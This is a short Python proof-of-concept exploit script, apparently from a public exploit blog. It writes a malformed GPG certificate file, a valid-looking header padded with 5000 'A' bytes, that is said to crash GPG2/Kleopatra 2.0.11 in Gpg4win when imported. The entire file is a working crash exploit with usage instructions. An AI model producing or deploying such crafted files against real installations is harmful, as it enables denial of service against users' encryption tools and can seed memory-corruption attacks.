#!/usr/bin/env python ################################################################ # # GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC # Note: Part of the GPG4Win Package v2.0.1 # Found By: Dr_IDE # Tested On: 7RC, XPSP3 # Usage: Import the Cert into Kleopatra, GPG2.exe Crashes # ################################################################ # Seems to only check for the presense of this signature cert = ("\x99\x03\x2E\x04\x4A\xDC\xA8\x29\x11\x08\x20"); cert += ("\x41" * 5000); try: print ("[*] Creating evil GPG cert."); f1 = open("gpg2_evil_cert.gpg","w"); f1.write(cert); f1.close(); print ("[*] File created successfully. Import it."); except: print ("[-] Error."); #[pocoftheday.blogspot.com]